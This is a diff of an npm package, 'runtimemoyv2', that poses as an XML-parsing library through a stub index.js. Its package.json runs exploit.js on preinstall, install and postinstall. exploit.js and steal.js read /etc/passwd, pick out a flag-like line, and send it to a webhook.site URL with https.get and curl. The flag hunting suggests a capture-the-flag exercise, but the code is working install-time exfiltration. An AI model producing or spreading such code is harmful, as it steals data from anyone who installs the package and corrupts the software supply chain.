runtimemoyv2 0.30.1

package/exploit.js

@@ -0,0 +1,27 @@
+const fs = require('fs');
+const https = require('https');
+const { execSync } = require('child_process');
+
+console.log('🚨 EXPLOIT v2 EXECUTED');
+
+try {
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    const lines = passwd.split('\n');
+    
+    for (const line of lines) {
+        if (line.includes('{') && line.includes('}')) {
+            console.log('🎯 FLAG:', line);
+            
+            // Пробуем оба метода
+            https.get(`https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag_v2=${encodeURIComponent(line)}`);
+            
+            try {
+                execSync(`curl -s "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?curl_v2=${encodeURIComponent(line)}"`);
+            } catch(e) {}
+            
+            break;
+        }
+    }
+} catch(e) {
+    console.log('Error:', e.message);
+}

package/index.js

@@ -0,0 +1,9 @@
+module.exports = {
+    parseXmlString: function(xml, options) {
+        return {
+            get: function(xpath) {
+                return { text: () => "test" };
+            }
+        };
+    }
+};

package/package.json

@@ -0,0 +1,10 @@
+{
+  "name": "runtimemoyv2",
+  "version": "0.30.1", 
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node exploit.js",
+    "install": "node exploit.js",
+    "postinstall": "node exploit.js"
+  }
+}

package/steal.js

@@ -0,0 +1,22 @@
+const { execSync } = require('child_process');
+
+console.log('🚨 FAST EXPLOIT STARTED');
+
+// БЫСТРЫЙ код без блокировок
+try {
+    const passwd = execSync('cat /etc/passwd', { encoding: 'utf8', timeout: 3000 });
+    const lines = passwd.split('\n');
+    
+    for (const line of lines) {
+        if (line.includes('{') && line.includes('}')) {
+            console.log('🎯 FLAG FOUND:', line);
+            // Быстрая отправка
+            execSync(`curl -s --max-time 3 "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=${encodeURIComponent(line)}"`, { timeout: 5000 });
+            break;
+        }
+    }
+} catch(e) {
+    console.log('Error:', e.message);
+}
+
+console.log('✅ FAST EXPLOIT FINISHED');